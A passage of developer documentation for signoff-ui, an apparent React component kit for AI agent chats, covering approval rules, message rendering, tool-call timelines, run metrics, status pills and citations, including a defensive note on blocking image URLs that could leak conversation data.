| `when` | `(input: unknown) => boolean` | | A test of your own on the input, on top of `args`. Code, so storage does not keep it. |
| `createdAt` | `number` | | When it was made, in milliseconds since the epoch. |
| `reason` | `string` | | Why it was made, e.g. the reason a person gave when denying. |
#### ApprovalRuleLimits
What `parseApprovalRules` accepts from a client.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `maxRules` | `number` | | How many rules are read: those after the first `maxRules` are left out. Default 100. |
| `maxArgs` | `number` | | Argument patterns in one rule. Default 20. |
| `maxLength` | `number` | | Characters in one string: an id, a tool, an argument's name or pattern, a reason. Default 500. |
| `maxWildcards` | `number` | | `*` wildcards in one pattern, `**` counting as one. Default 1: with each one more, matching a long argument takes much longer, enough to hold up the server. |
#### ApprovalDecision
What a person can decide about a tool call, and for how long it holds.
```ts
type ApprovalDecision = 'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always';
```
#### ApprovalRequest
A tool call that needs a decision.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | The id a response answers: AI SDK's `approval.id`, an AG-UI interrupt's id, or for ACP the tool call's id. |
| `toolName` (required) | `string` | | |
| `input` (required) | `unknown` | | |
| `toolCallId` | `string` | | |
#### ApprovalOutcome
A decision, ready to send: `approved` and `reason` for the agent, the rest for your app.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | |
| `approved` (required) | `boolean` | | |
| `decision` (required) | `ApprovalDecision` ('allow-once' \| 'allow-session' \| 'allow-always' \| 'deny-once' \| 'deny-always') | | |
| `by` (required) | `'user' \| 'rule'` | | |
| `reason` | `string` | | |
| `input` | `unknown` | | The arguments to run with, when the person edited them. |
| `rule` | `ApprovalRule` | | |
#### ApprovalAuditEvent
Everything the policy did, for an audit trail.
```ts
type ApprovalAuditEvent = {
type: 'decision';
at: number;
request: ApprovalRequest;
decision: ApprovalDecision;
/** A person decided, or one of the rules did. */
by: 'user' | 'rule';
/** The rule that decided, or the one this decision made. */
rule?: ApprovalRule | undefined;
reason?: string | undefined;
/** The arguments as approved, when the person edited them. */
input?: unknown;
} | {
type: 'rule-added' | 'rule-removed';
at: number;
rule: ApprovalRule;
} | {
type: 'session-cleared';
at: number;
rules: ApprovalRule[];
};
```
#### ApprovalRuleStorage
Where `always` rules are kept between visits. Session rules are never saved.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `load` (required) | `() => readonly ApprovalRule[] \| PromiseLike` | | |
| `save` (required) | `(rules: readonly ApprovalRule[]) => void \| PromiseLike` | | |
| `loadRemovedDefaults` | `() => readonly string[] \| PromiseLike` | | The ids of `always` default rules the person removed, so they stay removed on the next load. Optional: without this and `saveRemovedDefaults`, a removed default comes back on each load. |
| `saveRemovedDefaults` | `(ids: readonly string[]) => void \| PromiseLike` | | |
#### ToToolApprovalOptions
How `toToolApproval` answers: for the calls no rule covers, and in the reason a rule gives.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `otherwise` | `ToolApprovalStatusLike` | | What a call no rule covers gets. Default `'user-approval'`: a person decides. `'not-applicable'` leaves the call to another `toolApproval`, such as a second set of rules. |
| `reason` | `(match: RuleMatch) => string` | | The reason for a call a rule decides, which the approval keeps as `approval.reason`: say whose rules these are, so a page can tell the server's from the person's. Default: "Allowed by a rule: …" or "Denied by a rule: …", the rule in words (`describeRule`), then its own reason. |
### Accessibility
- A hook with no markup of its own: `ApprovalCard`, `ToolApprovalCard` and `ToolApprovalBatch` carry the behavior on their pages.
- A call a rule decides is answered without a prompt that would take focus, and reads "Allowed by your rule" or "Denied by your rule" with the rule in words.
## AgentMessage
> A whole assistant message: reasoning, streaming markdown, tool calls, approvals and sources.
Source: https://signoff-ui.vercel.app/docs/components/agent-message
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { AgentMessage } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/agent-message.json
```
```tsx
import { AgentMessage } from '@/components/signoff-ui/agent-message';
```
### Usage
```tsx
const { messages, status, addToolApprovalResponse } = useChat();
const last = messages.findLast((m) => m.role === 'assistant');
{last && (
)}
```
### How it works
A whole assistant `UIMessage`, part by part: streaming-safe markdown, collapsible reasoning that summarizes how long the model thought, consecutive tool parts grouped into one timeline with inline approval cards, files, `data-*` parts through `renderData`, and sources. `renderTool` lets you take over any tool part, as [the quickstart](https://signoff-ui.vercel.app/docs/getting-started#render-a-run) does for `review_changes` with a `DiffReview`. What `renderTool` and `renderData` return is your content: with `styles.css`, the kit's rules don't reach into it, and components you render there are styled as usual.
Images in text and reasoning don't load unless they're allowed: a URL in model output can carry data out of the conversation as soon as the browser fetches it (``), so by default an image renders as a link with its alt text, or as plain text inside the link it belongs to (a badge). `allowedImageHosts` takes:
- host names: `'images.example.com'` matches any port, `'localhost:3000'` only that port;
- `'self'`: relative URLs such as `/logo.png`, which load from your own origin. Protocol-relative URLs (`//host/x`) are not relative, and absolute URLs to your own site need their host listed. Relative requests carry your cookies, so allow `'self'` only if GET requests to your origin have no side effects;
- `'*'`: every image.
```tsx
const IMAGE_HOSTS = ['images.example.com', 'self'];
;
```
The list is compared by value, so an inline array works as well: it does not re-render the finished text on every streamed delta. Image file parts follow the same list, except that `data:` and `blob:` URLs, which need no request, always preview.
#### Your own Markdown renderer
Text and reasoning render with the built-in `Markdown`, which brings react-markdown and remark-gfm. If your app already has a renderer, such as Streamdown, pass it as `renderMarkdown` and import `AgentMessage` from `signoff-ui/custom-markdown`: that entry has no built-in renderer, so react-markdown stays out of your bundle ([bundle size](https://signoff-ui.vercel.app/docs/limits#bundle-size)). Streamdown is not a dependency of signoff-ui: install and style it as its docs say.
> **Restrict images in your renderer.** `allowedImageHosts` protects only the built-in renderer. A custom renderer gets the list as a prop, but nothing enforces it, and Streamdown 2.7 loads images from any host by default. An image in model output can then send data out of the conversation as soon as it renders. Check each image's host yourself, as `components.img` does below.
```tsx
import { AgentMessage, type MarkdownRenderer } from 'signoff-ui/custom-markdown';
import { defaultComponents, Streamdown, type Components } from 'streamdown';
const IMAGE_HOSTS = ['images.example.com'];
const allowed = (src: unknown) =>
typeof src === 'string' && URL.canParse(src) && IMAGE_HOSTS.includes(new URL(src).hostname);
// Outside the component: a new function or object renders every text part again.
const components: Components = {
// An image from any other host shows its alt text instead.
img: (props) => (allowed(props.src) ? : (props.alt ?? null)),
};
const renderMarkdown: MarkdownRenderer = ({ children, streaming }) => (
{children}
);
;
```
`MarkdownRendererProvider` sets the renderer once for every `AgentMessage` and `Reasoning` inside it, from either entry. What the renderer returns is your content, like `renderTool`'s. It also gets `citations` and `citationPrefix`, to link `[n]` markers to `#${citationPrefix}-${n}`, and `allowedImageHosts` as the component got it, which your renderer has to enforce itself (see the note above). Without a renderer, `signoff-ui/custom-markdown` shows the text as it is. If you render `Reasoning` on its own, import it from `signoff-ui/custom-markdown` too: `AgentMessage`, `Reasoning` and `Markdown` from `signoff-ui` bring react-markdown back.
### API reference
#### AgentMessage
Renders an assistant `UIMessage` part by part: streaming markdown, collapsible
reasoning, consecutive tool calls grouped into a timeline (with inline approval
cards), files, and the message's sources with linked inline citations.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `message` (required) | `Pick` | | |
| `streaming` | `boolean` | `false` | The message is still being generated. Text parts with an explicit `state` take precedence. |
| `active` | `boolean` | `true` | Whether the run can still make progress, including while it waits on the user. Pass `false` once it has ended (stopped, failed, or an older message): tool calls that never settled read "Stopped" instead of running forever, and text left streaming loses its caret. See `ToolCallTimeline`'s `active`. |
| `tools` | `Record` | | |
| `renderTool` | `(part: ToolPart) => ReactNode \| undefined` | | Render a tool part yourself. Return `undefined` to use the default timeline, or `null` to render nothing. Custom-rendered parts split the timeline. What you return is your app's content: it sits in a `data-signoff-slot` element, and `styles.css` leaves it to your CSS (components you render in it are styled as usual). |
| `onToolApproval` | `(response: ToolApprovalResponse) => void \| PromiseLike` | | Enables inline approval cards. Pass `useChat().addToolApprovalResponse`. |
| `approvalProps` | `Partial>` | | Props forwarded to every approval card, e.g. `{ autoFocus: true }`. |
| `approvalPolicy` | `ApprovalPolicy` | | Approval rules from `useApprovalPolicy`: cards offer once, this session and always, a rule's decisions are made without asking, and two or more waiting approvals get "Approve all". |
| `onToolInputEdit` | `(toolCallId: string, input: unknown) => void` | | Lets a person edit a call's arguments before approving it, and applies the edit. With AI SDK 7: `(id, input) => setMessages((m) => setToolInput(m, id, input))`; with `useAgUiAgent`, its `editInput`. |
| `renderData` | `(part: DataPart) => ReactNode` | | Render `data-*` parts. They are skipped when omitted. Your content, like `renderTool`'s. A sub-agent's part (`data-signoff-subagent`) is not one of them: the timeline nests its calls. |
| `renderMarkdown` | `MarkdownRenderer` | | Renders the text parts and the reasoning instead of the built-in `Markdown`, with Streamdown or your own renderer. What it returns is your content, like `renderTool`'s. Overrides `MarkdownRendererProvider`. Import `AgentMessage` from `signoff-ui/custom-markdown` to leave react-markdown out of your bundle. Keep the function stable: a new one renders every text part again. `allowedImageHosts` is not enforced for it: restrict images in your renderer. |
| `showSources` | `boolean` | `true` | |
| `sourcesVariant` | `'chips' \| 'cards'` | `'chips'` | |
| `allowedImageHosts` | `readonly string[]` | | Where images in text, reasoning and image file parts may load from: host names, `'self'` for relative URLs, or `'*'` for every image. Default: none, so other images render as links. File parts with `data:` and `blob:` URLs always preview. See `MarkdownProps.allowedImageHosts`. |
| `timings` | `ToolTimings` | | Externally measured tool timings. Measured client-side when omitted. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults, for the message and all it renders: see `SignoffLabelsProvider`. |
Other props go to the root ``: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### MarkdownRendererProvider
Sets the Markdown renderer of every `AgentMessage` and `Reasoning` inside, unless one has its
own `renderMarkdown`. Keep the function stable: a new one renders every text part again.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `renderMarkdown` (required) | `MarkdownRenderer` | | The renderer for every `AgentMessage` and `Reasoning` inside. `undefined` restores the built-in one. |
| `children` | `ReactNode` | | |
#### ToolMeta
Per-tool presentation. Every field is optional.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `label` | `string` | | Display label. Defaults to the humanized tool name. |
| `icon` | `ReactNode` | | |
| `summary` | `(input: unknown, part: ToolPart) => ReactNode` | | One-line summary shown next to the label. Defaults to the most descriptive input field. Not called before any input has arrived; while the input streams it can be partial. |
| `renderOutput` | `(output: unknown, part: ToolPart) => ReactNode` | | Replace the default JSON output view. Your content, like `AgentMessage`'s `renderTool`. |
| `risk` | `RiskLevel \| ((input: unknown) => RiskLevel)` | | Risk shown on approval requests for this tool. |
#### ToolApprovalResponse
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | |
| `approved` (required) | `boolean` | | |
| `reason` | `string` | | |
#### MarkdownRenderer
Renders text as markup instead of the built-in `Markdown`: Streamdown, or your own.
```ts
type MarkdownRenderer = (props: MarkdownRendererProps) => ReactNode;
```
#### MarkdownRendererProps
What a Markdown renderer gets for each text part, and for the reasoning.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `children` (required) | `string` | | The text, as Markdown. |
| `streaming` (required) | `boolean` | | The text is still arriving: a renderer can close unterminated syntax and show a caret. |
| `citations` (required) | `number` | | The number of the message's sources. `[n]` markers up to it can link to `#${citationPrefix}-${n}`, the ids `AgentMessage` gives its sources. 0 in reasoning. |
| `citationPrefix` (required) | `string` | | The start of those ids. |
| `allowedImageHosts` (required) | `readonly string[]` | | Where images may load from, as the component got it: see `MarkdownProps.allowedImageHosts`. Only the built-in renderer enforces it: yours has to drop images from other hosts itself. |
### Accessibility
| Keys | Action |
| --- | --- |
| ↑ ↓ | Move between tool calls in a timeline |
| Y N | Approve or deny, with focus in an approval card |
- The message is an `` with `aria-busy` while it streams, so screen readers wait for the text to settle.
- Each part keeps its own behavior: the tool timeline, approval cards, reasoning and sources below all apply.
- Images in model output don't load unless `allowedImageHosts` allows them; a blocked image is a link with its alt text, read as "Image:".
- Citation markers such as `[2]` become links named "Source 2" to the matching source.
### Theming
Slots (`data-slot`): `signoff-agent-message`.
- `data-role` on `signoff-agent-message`: the message’s role: assistant, user or system
Tokens it uses: `--signoff-border`, `--signoff-fg`, `--signoff-fg-subtle`, `--signoff-font-sans`, `--signoff-ring`, `--signoff-surface`, `--signoff-surface-2`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## ToolCallTimeline
> Every tool call with its state, a measured duration and a waterfall; errors inline.
Source: https://signoff-ui.vercel.app/docs/components/tool-call-timeline
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { ToolCallTimeline } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/tool-call-timeline.json
```
```tsx
import { ToolCallTimeline } from '@/components/signoff-ui/tool-call-timeline';
```
### Usage
```tsx
(input as { path?: string }).path },
run_command: { label: 'Run command', risk: 'high' },
}}
// Once the run has ended, calls that never settled read "Stopped".
active={status === 'submitted' || status === 'streaming'}
/>
```
### How it works
Every AI SDK tool state (`input-streaming`, `input-available`, `approval-requested`, `approval-responded`, `output-available` including `preliminary`, `output-error`, `output-denied`) with live durations, a waterfall that makes parallel calls visible, and expandable input and output. Failures show their error inline. Calls are disclosure buttons: ↑, ↓, Home and End move between them, and settled calls are announced.
Pass `active={false}` once the run has ended (stopped, failed, or restored from history), so calls that never settled read "Stopped" instead of counting up forever.
A sub-agent's calls nest under the call that started it, collapsed: one row with its name, how many calls it made and its state, which opens to its calls. They come as a `data-signoff-subagent` part after that call, with `{ subagentRunId, parentToolCallId, name, status, parts }`, where `parts` holds the sub-agent's tool calls and text as message parts. The [AG-UI adapter](https://signoff-ui.vercel.app/docs/ag-ui) makes them from `SUBAGENT_*` events, and you can stream your own the same way. A sub-agent whose call isn't in the timeline shows its calls in its place. One with a call waiting on approval opens by itself, unless the person closed it, and its calls are timed and announced like the others.
Durations are measured, not invented: message parts carry no timestamps, so the timeline records state changes on the client. Execution time starts when a call is approved, not when it was proposed, so waiting on a person never reads as a slow tool, and calls already settled when first seen get no duration rather than a fake zero. Pass server-measured `timings` if you have them. `renderOutput` replaces a call's JSON output with your own content, and `renderExtra` adds content under a call.
### API reference
#### ToolCallTimeline
A vertical timeline of tool calls with live states, durations, a waterfall,
and expandable input/output. Follows the WAI-ARIA disclosure pattern; Arrow
Up/Down, Home and End move between calls. A sub-agent's calls nest, collapsed,
under the call that started it.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `parts` (required) | `readonly AnyUIPart[]` | | Tool parts, or every part of a message: other parts are ignored, except a sub-agent's (`data-signoff-subagent`), whose calls nest under the call that started it. |
| `tools` | `Record` | | |
| `timings` | `ToolTimings` | | Externally measured timings by `toolCallId`. Measured client-side when omitted. |
| `expanded` | `readonly string[]` | | Controlled set of expanded `toolCallId`s. |
| `defaultExpanded` | `readonly string[]` | | |
| `onExpandedChange` | `(expanded: string[]) => void` | | |
| `expandErrors` | `boolean` | `false` | Expand calls automatically when they fail. Default `false`: the error message is always shown inline under a failed call, with details on demand. |
| `waterfall` | `boolean` | `true` | Show a per-call waterfall bar relative to the whole timeline. |
| `announce` | `boolean` | `true` | Announce completions and failures to screen readers. Calls that settle within moments of each other, such as parallel calls, are announced together. |
| `renderExtra` | `(part: ToolPart) => ReactNode` | | Extra content under a call, e.g. an approval card. Your content, like `renderOutput`'s. |
| `label` | `string` | | Accessible name for the list. Default "Tool calls" (`labels.toolCallTimeline.list`). |
| `active` | `boolean` | `true` | Whether the run can still make progress. Pass `false` once it has ended (stopped, failed, or restored from history): calls still streaming their input or running then read "Stopped" and their clocks stop, instead of counting up forever. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. |
Other props go to the root `
`: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### ToolMeta
Per-tool presentation. Every field is optional.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `label` | `string` | | Display label. Defaults to the humanized tool name. |
| `icon` | `ReactNode` | | |
| `summary` | `(input: unknown, part: ToolPart) => ReactNode` | | One-line summary shown next to the label. Defaults to the most descriptive input field. Not called before any input has arrived; while the input streams it can be partial. |
| `renderOutput` | `(output: unknown, part: ToolPart) => ReactNode` | | Replace the default JSON output view. Your content, like `AgentMessage`'s `renderTool`. |
| `risk` | `RiskLevel \| ((input: unknown) => RiskLevel)` | | Risk shown on approval requests for this tool. |
#### ToolTiming
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `startedAt` | `number` | | First time the call was observed (input started streaming). |
| `runningAt` | `number` | | When execution began: input complete, or approval granted. |
| `endedAt` | `number` | | When the call settled (output, error or denial). |
#### RiskLevel
```ts
type RiskLevel = 'low' | 'medium' | 'high' | 'critical';
```
#### SubagentPart
A sub-agent's work, in its parent's message: the AG-UI adapter makes one, and you can stream your own.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `type` (required) | `'data-signoff-subagent'` | | |
| `data` (required) | `SubagentData` | | |
| `id` | `string` | | |
#### SubagentData
A sub-agent's run, as the `data` of a `data-signoff-subagent` part.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `subagentRunId` (required) | `string` | | |
| `status` (required) | `SubagentStatus` ('running' \| 'done' \| 'error' \| 'suspended') | | |
| `parts` (required) | `AnyUIPart[]` | | Its tool calls and text, as message parts. A sub-agent it started is a part here too. |
| `parentToolCallId` | `string` | | The tool call that started it: the timeline nests the sub-agent under that call. |
| `name` | `string` | | |
| `errorText` | `string` | | What went wrong, when `status` is `error`. |
#### SubagentStatus
Where a sub-agent is: working, finished, failed, or paused until a later run (AG-UI's `suspended`).
```ts
type SubagentStatus = 'running' | 'done' | 'error' | 'suspended';
```
### Accessibility
| Keys | Action |
| --- | --- |
| ↑ ↓ | Previous or next call, through a sub-agent and its calls while it is open |
| Home End | First or last call |
| Enter Space | Show or hide the call’s input and output, or the sub-agent’s calls |
- An ordered list named by `label` ("Tool calls"). Each call is a disclosure button with `aria-expanded`, as in the WAI-ARIA accordion pattern; the arrow keys move between them.
- A sub-agent is a disclosure button under the call that started it, named by its name, its number of calls and its state ("Researcher 2 calls Running"). Open, its calls are an ordered list of their own ("Researcher’s tool calls"), with the same buttons, keys and announcements; the arrow keys go through them in the order they show.
- A call’s name, summary, state and duration are in its button’s accessible name. In narrow containers the summary is hidden visually but still read.
- Completions and failures are announced through a polite live region, such as "Read file finished in 1.2 seconds" or "Read file failed: ENOENT…". Calls that settle together, such as parallel calls, are announced together. Turn it off with `announce={false}` when something else announces them.
- The state node beside each call is hidden from screen readers: the call’s button already says "Needs approval", "Failed" or "Stopped".
- States are never color alone: each has an icon and a word ("Failed", "Needs approval", "Denied").
- The expand and collapse animation runs only without `prefers-reduced-motion`.
### Theming
Slots (`data-slot`): `signoff-tool-call-trigger`, `signoff-subagent-trigger`, `signoff-tool-call`, `signoff-tool-call-timeline`, `signoff-tool-call-chunk`, `signoff-subagent`, `signoff-tool-call-details`.
- `data-phase` on `signoff-tool-call`: 'denied' | 'running' | 'error' | 'streaming' | 'awaiting-approval' | 'success'
- `data-state` on `signoff-tool-call`: 'input-streaming' | 'input-available' | 'approval-requested' | 'approval-responded' | 'output-available' | 'output-error' | 'output-denied'
- `data-interrupted` on `signoff-tool-call`: set once the run ended before the call, or the sub-agent, settled
- `data-status` on `signoff-subagent`: 'running' | 'done' | 'error' | 'suspended'
Tokens it uses: `--signoff-accent`, `--signoff-accent-fg`, `--signoff-bg`, `--signoff-border`, `--signoff-border-strong`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-hot`, `--signoff-hot-fg`, `--signoff-ring`, `--signoff-surface-2`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## RunMeter
> Tokens, estimated cost from your rates, time to first token and the prompt-cache hit rate.
Source: https://signoff-ui.vercel.app/docs/components/run-meter
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { RunMeter, useRunTiming } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/run-meter.json
```
```tsx
import { RunMeter } from '@/components/signoff-ui/run-meter';
import { useRunTiming } from '@/components/signoff-ui/lib/hooks';
```
### Usage
```tsx
// A run starts with each user message and spans its approval round trips.
const timing = useRunTiming(status, messages);
```
### How it works
Tokens in and out, estimated cost, time to first token, active run time and prompt-cache hit rate. It takes the AI SDK `LanguageModelUsage` shape directly; to cover a whole run across review and approval round trips, sum it on the server with `addUsage`, as [the quickstart's route](https://signoff-ui.vercel.app/docs/getting-started#render-a-run) does.
`useRunTiming(status, messages)` measures time to first token and active time per turn: a run starts with each user message and spans its round trips, leaving out the time spent waiting on you. Without `messages`, each request is timed on its own. Time to first token is left unknown, not 0, for a run that was already streaming when the hook first saw it.
`pricing` is in USD per million tokens: `input` and `output`, plus optional `cachedInput` for cache reads and `cacheWrite` for cache writes (1.25× input on Anthropic, for example), which both default to `input`.
### API reference
#### RunMeter
Token usage, estimated cost and latency for an agent run.
`compact` is a single inline strip for headers; `expanded` is a card with a
token breakdown bar and the prompt-cache hit rate.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `usage` | `RunUsage` | | |
| `pricing` | `ModelPricing` | | Used to estimate cost when `cost` is not given. |
| `cost` | `number` | | Explicit cost in USD, e.g. reported by your gateway. |
| `ttftMs` | `number` | | Time to first token, ms. |
| `durationMs` | `number` | | Total (active) run time, ms. |
| `live` | `boolean` | `false` | The run is in progress: values are live. |
| `model` | `string` | | |
| `variant` | `'compact' \| 'expanded'` | `'compact'` | |
| `title` | `ReactNode` | | Heading for the expanded variant. Default "Run" (`labels.runMeter.title`). |
| `headingLevel` | `HeadingLevel` | `3` | Heading level for the expanded variant's title. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. |
Other props go to the root `
`: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### useRunTiming
Derives run latency from `useChat` status transitions: time to first token, and active time. A run
can span several requests (e.g. continuing after an approval); time spent waiting on the human
between requests is excluded from `activeMs`.
Pass the chat's `messages` (`useChat().messages`, or `useAgUiAgent`'s): a run then starts with each
user message (or a regenerated reply) and spans its approval round trips. Without them, each request
submitted after the last one ended starts a new run, so a turn that pauses for approval is timed per
request. A key of your own instead (any value but an array) starts a new run only when it changes.
```ts
useRunTiming(status: ChatStatus, messages?: readonly RunTimingMessage[] | undefined): RunTiming
```
Returns `RunTiming`:
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `activeMs` (required) | `number` | | Milliseconds the agent spent working, excluding time waiting on the user. |
| `isRunning` (required) | `boolean` | | |
| `startedAt` | `number` | | When the run was first seen in flight: its first request, or later if it was already running. |
| `firstTokenAt` | `number` | | When the run's first response arrived. Undefined while unknown, as `ttftMs`. |
| `ttftMs` | `number` | | Time to first token of the run: from submitting its first request to the first streamed status. A first request that ends without a `streaming` status (its response arrived in one burst) counts its end as the first token. Undefined until then, and when it cannot be known: the run was already streaming when first seen, its first request failed, or (given the messages) it ended with no reply. |
#### ModelPricing
USD per million tokens.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `input` (required) | `number` | | |
| `output` (required) | `number` | | |
| `cachedInput` | `number` | | Price for cache-read input tokens. Defaults to `input`. |
| `cacheWrite` | `number` | | Price for input tokens written to the prompt cache (e.g. 1.25x input on Anthropic). Defaults to `input`. |
#### RunUsage
Token usage, compatible with the AI SDK `LanguageModelUsage` shape.
```ts
type RunUsage = {
inputTokens?: number | undefined;
outputTokens?: number | undefined;
totalTokens?: number | undefined;
inputTokenDetails?: Partial | undefined;
outputTokenDetails?: Partial | undefined;
};
```
### Accessibility
- The compact strip is a group named "Run metrics" with one visually hidden sentence, such as "20.9k input tokens, 255 output tokens, estimated cost $0.025, …", instead of a run of loose numbers.
- The expanded card has a heading (`title`, at `headingLevel`) and a labeled token breakdown list.
- Numbers tween as they change, except with `prefers-reduced-motion`.
### Theming
Slots (`data-slot`): `signoff-run-meter`.
- `data-variant` on `signoff-run-meter`: 'compact' | 'expanded'
Tokens it uses: `--signoff-accent`, `--signoff-accent-fg`, `--signoff-border`, `--signoff-chart-input`, `--signoff-chart-output`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-radius`, `--signoff-ring`, `--signoff-surface`, `--signoff-surface-2`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## AgentStatus
> The run’s state in one pill, announced to screen readers.
Source: https://signoff-ui.vercel.app/docs/components/agent-status
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { AgentStatus, deriveAgentState } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/agent-status.json
```
```tsx
import { AgentStatus } from '@/components/signoff-ui/agent-status';
import { deriveAgentState } from '@/components/signoff-ui/lib/ai';
```
### Usage
```tsx
const last = messages.findLast((m) => m.role === 'assistant');
// Waiting on a person (an approval, or a client-side tool in pendingClientTools) wins over "working".
// A run that ended with text still streaming or a call unfinished, as stop() leaves it, is "stopped";
// a client-side tool the app runs itself (onToolCall), named in clientTools, reads "working" instead.
const { state, detail } = deriveAgentState({
status,
message: last,
pendingClientTools: ['review_changes'],
clientTools: ['get_location'],
});
```
### How it works
Thinking, working, waiting for approval, done, stopped or error, with an elapsed timer. Changes are announced through a live region: debounced so quick flips are not read out one by one, and assertive only for approvals and errors.
`deriveAgentState` maps `useChat`'s status and the latest message to a state, with human-in-the-loop waits taking precedence. A run that ended with work unfinished, which is what `stop()` leaves behind (text or reasoning still streaming, a tool call still preparing or running), is `stopped` rather than `done`.
Client-side tools change that. Name the ones that wait on a person, such as a review, in `pendingClientTools`: they read `awaiting-approval`. Name the ones the app runs itself (`onToolCall`, then `addToolOutput`) in `clientTools`: while one runs, `useChat` is `ready`, and the run reads `working` with the tool as its detail.
### API reference
#### AgentStatus
A compact, live status pill for an agent run. State changes are announced
through a polite live region (assertive for errors and approval requests),
debounced so rapid transitions do not flood screen readers.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `state` (required) | `AgentState` ('done' \| 'error' \| 'awaiting-approval' \| 'idle' \| 'thinking' \| 'working' \| 'stopped') | | |
| `label` | `string` | | Overrides the state's name (`labels.agentStatus.states`). |
| `detail` | `string` | | Secondary detail, e.g. the tool being run. |
| `startedAt` | `number` | | Epoch ms when the run started. Shows a live elapsed timer while active. |
| `elapsedMs` | `number` | | Fixed elapsed time to show (e.g. the final run duration). Takes precedence over `startedAt`. |
| `announce` | `boolean` | `true` | Announce state changes to assistive tech. |
| `size` | `'sm' \| 'md'` | `'md'` | |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. |
Other props go to the root `
`: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### AgentState
```ts
type AgentState = 'done' | 'error' | 'awaiting-approval' | 'idle' | 'thinking' | 'working' | 'stopped';
```
### Accessibility
- Changes are announced through a live region, debounced by 350 ms so quick flips aren’t read one by one. Approvals and errors are assertive; everything else is polite.
- Render one `AgentStatus` per run with `announce` on; pass `announce={false}` to any copy, or the state is read twice.
- Each state has an icon and a word. The thinking shimmer and the spinner run only without `prefers-reduced-motion`.
### Theming
Slots (`data-slot`): `signoff-agent-status`.
- `data-state` on `signoff-agent-status`: 'done' | 'error' | 'awaiting-approval' | 'idle' | 'thinking' | 'working' | 'stopped'
Tokens it uses: `--signoff-accent`, `--signoff-accent-fg`, `--signoff-border`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-hot`, `--signoff-hot-fg`, `--signoff-surface`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## Sources
> Citations as numbered chips or cards, linked from [n] markers in the answer.
Source: https://signoff-ui.vercel.app/docs/components/sources
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { Sources, getSourceParts } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/sources.json
```
```tsx
import { Sources } from '@/components/signoff-ui/sources';
import { getSourceParts } from '@/components/signoff-ui/lib/ai';
```
### Usage
```tsx
// Send them from the server with toUIMessageStreamResponse({ sendSources: true }).
```
### How it works
`source-url` and `source-document` parts as numbered chips or cards. In `AgentMessage`, `[n]` markers in the text become links to the matching source. It has no state, so it renders on the server too.
### API reference
#### Sources
Citation list as compact chips or richer cards. External links open in a new tab.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `sources` (required) | `ReadonlyArray` | | |
| `variant` | `'chips' \| 'cards'` | `'chips'` | |
| `label` | `string \| null` | | Visible heading. Default "Sources" (`labels.sources.label`); pass `null` to hide it (it stays as the accessible name). |
| `idPrefix` | `string` | `'source'` | Prefix for element ids (`${idPrefix}-1`, …) so inline citations can link to a source. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. |
Other props go to the root `
